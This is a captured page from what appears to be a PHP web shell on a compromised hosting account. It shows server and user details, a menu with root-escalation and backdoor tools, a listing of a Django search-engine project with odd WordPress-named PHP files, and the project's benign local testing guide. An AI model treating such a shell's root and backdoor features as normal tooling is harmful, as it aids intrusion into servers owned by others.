Linux premium242.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
Server IP : 66.29.146.154 & Your IP : 216.73.216.6
Domains :
Cant Read [ /etc/named.conf ]
User : tukiwyzk
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
tukiwyzk /
helpgaza /
Delete
Unzip
Name
Size
Permission
Date
Action
-p
[ DIR ]
drwxrwxrwx
2025-10-17 07:59
customsearch
[ DIR ]
drwxrwxrwx
2025-10-17 07:59
mysearchengine
[ DIR ]
drwxrwxrwx
2025-10-17 07:59
public
[ DIR ]
drwxr-xr-x
2025-10-17 07:59
searchapp
[ DIR ]
drwxrwxrwx
2025-10-17 07:59
static
[ DIR ]
drwxrwxrwx
2025-10-17 07:59
staticfiles
[ DIR ]
drwxrwxrwx
2025-10-17 07:59
templates
[ DIR ]
drwxrwxrwx
2025-10-17 07:59
test_data
[ DIR ]
drwxrwxrwx
2025-10-17 07:59
tmp
[ DIR ]
drwxr-xr-x
2025-10-17 07:59
venv
[ DIR ]
drwxrwxrwx
2025-10-17 07:59
.htaccess
197
B
-r--r--r--
2025-10-17 07:59
DEPLOYMENT_GUIDE.md
4.68
KB
-rw-rw-rw-
2025-08-23 14:13
LOCAL_TESTING_GUIDE.md
4.57
KB
-rw-rw-rw-
2025-08-23 14:16
TODO.md
1.42
KB
-rw-rw-rw-
2025-08-23 16:07
backend_test_log.txt
41
B
-rw-rw-rw-
2025-08-23 16:04
base.html
2.5
KB
-rw-rw-rw-
2025-08-23 15:21
db.sqlite3
132
KB
-rw-rw-rw-
2025-08-23 14:24
deploy.sh
3.45
KB
-rw-rw-rw-
2025-08-23 14:12
final_test.py
1.69
KB
-rw-rw-rw-
2025-08-23 14:44
gunicorn.service
323
B
-rw-rw-rw-
2025-08-23 14:11
import_data.py
1.5
KB
-rw-rw-rw-
2025-08-23 14:10
local_setup.py
4.93
KB
-rw-rw-rw-
2025-08-23 14:15
manage.py
670
B
-rw-rw-rw-
2025-08-23 14:23
nginx_config.conf
2.08
KB
-rw-rw-rw-
2025-08-23 14:11
passenger_wsgi.py
66
B
-rw-r--r--
2025-08-23 16:59
performance_results.txt
539
B
-rw-rw-rw-
2025-08-23 16:06
performance_test.py
1.54
KB
-rw-rw-rw-
2025-08-23 16:05
requirements.txt
131
B
-rw-rw-rw-
2025-08-23 16:45
run_local.sh
1014
B
-rw-rw-rw-
2025-08-23 14:17
setup_mysql.sql
214
B
-rw-rw-rw-
2025-08-23 14:10
stderr.log
85.13
KB
-rw-r--r--
2025-12-09 11:53
test_backend.py
989
B
-rw-rw-rw-
2025-08-23 14:29
test_backend_fixed.py
1.2
KB
-rw-rw-rw-
2025-08-23 14:31
test_backend_with_log.py
1.13
KB
-rw-rw-rw-
2025-08-23 14:30
test_complete.py
2.41
KB
-rw-rw-rw-
2025-08-23 14:34
test_results.txt
406
B
-rw-rw-rw-
2025-08-23 14:45
wp-blog-header.php
2.73
KB
-rw-r--r--
2025-10-17 07:59
wp-cron.php
2.73
KB
-rw-r--r--
2025-10-17 07:59
Save
Rename
# Local Development and Testing Guide ## Overview This guide provides instructions for setting up and testing the custom search engine locally before deployment to production. ## Prerequisites - Python 3.8+ - SQLite3 (usually included with Python) - Web browser for testing ## Step 1: Initial Setup ```bash # Create and activate virtual environment python3 -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate # Install dependencies pip install -r requirements.txt # Run local setup script python local_setup.py ``` ## Step 2: Start Local Development Server ```bash # Make the run script executable chmod +x run_local.sh # Start the development server ./run_local.sh ``` The server will start at: http://localhost:8000 ## Step 3: Testing Checklist ### Frontend Testing - [ ] Access http://localhost:8000 - [ ] Verify logo/image displays correctly - [ ] Check placeholder sentences are visible - [ ] Test search form submission - [ ] Verify "Start Search" button works ### Backend Testing - [ ] Test search functionality: http://localhost:8000/search/?q=python+tutorial - [ ] Verify priority matching works (should show Real Python as first result) - [ ] Test other search queries: django, ubuntu, nginx - [ ] Check DuckDuckGo API fallback (for non-priority queries) ### Database Testing - [ ] Verify test data was imported correctly - [ ] Check priority link matching logic - [ ] Test database connectivity ### Template Testing - [ ] Verify search results page renders correctly - [ ] Check priority results are highlighted - [ ] Test result links work properly ## Step 4: Test Scenarios ### Priority Matching Tests 1. **Exact match**: Search "python tutorial" → Should show Real Python as priority result 2. **Partial match**: Search "python programming tutorial" → Should still match 3. **Multiple matches**: Search "django python" → Should show Django documentation 4. **No match**: Search "javascript react" → Should fallback to DuckDuckGo ### Edge Case Tests - [ ] Empty search query - [ ] Very long search queries - [ ] Special characters in queries - [ ] Multiple word queries ### Error Handling Tests - [ ] Database connection errors - [ ] API timeout scenarios - [ ] Invalid search parameters ## Step 5: Debugging Tips ### View Database Contents ```bash sqlite3 db.sqlite3 .tables SELECT * FROM searchapp_prioritylink; .quit ``` ### Django Debug Information - Check Django admin at: http://localhost:8000/admin/ - View debug information in browser for errors ### Logging - Check console output for Django logs - Monitor network requests in browser developer tools ## Step 6: Performance Testing 1. **Response time**: Measure search response times 2. **Concurrent requests**: Test with multiple simultaneous searches 3. **Memory usage**: Monitor during extended testing ## Step 7: Security Testing (Local) - [ ] Verify DEBUG mode is enabled (for local testing only) - [ ] Check that sensitive data is not exposed in responses - [ ] Test input validation on search queries ## Step 8: Browser Compatibility Test in different browsers: - [ ] Chrome/Chromium - [ ] Firefox - [ ] Safari - [ ] Edge ## Step 9: Mobile Responsiveness Test on different screen sizes: - [ ] Desktop (1200px+) - [ ] Tablet (768px-1199px) - [ ] Mobile (<768px) ## Common Issues and Solutions ### Database Issues ```bash # Reset database rm db.sqlite3 python manage.py makemigrations python manage.py migrate ``` ### Dependency Issues ```bash # Reinstall dependencies pip uninstall -r requirements.txt -y pip install -r requirements.txt ``` ### Port Already in Use ```bash # Kill process on port 8000 lsof -ti:8000 | xargs kill -9 ``` ## Next Steps After Local Testing 1. **Fix any issues** found during local testing 2. **Revert local changes** before production deployment: - Set DEBUG = False - Restore MySQL database configuration - Re-enable security settings 3. **Proceed with production deployment** using deploy.sh ## Testing Results Template ``` Date: [Date] Tester: [Name] Environment: Local Development Frontend Tests: [Pass/Fail] - Homepage loading: [ ] - Image display: [ ] - Search form: [ ] - Button functionality: [ ] Backend Tests: [Pass/Fail] - Priority matching: [ ] - DuckDuckGo fallback: [ ] - Database connectivity: [ ] - Error handling: [ ] Performance: [Acceptable/Needs Improvement] - Response time: [ms] - Memory usage: [MB] Issues Found: 1. [Description] - [Severity] - [Status] 2. [Description] - [Severity] - [Status] Recommendations: 1. [Recommendation] 2. [Recommendation] ``` This local testing guide ensures your custom search engine is thoroughly tested before deployment to production.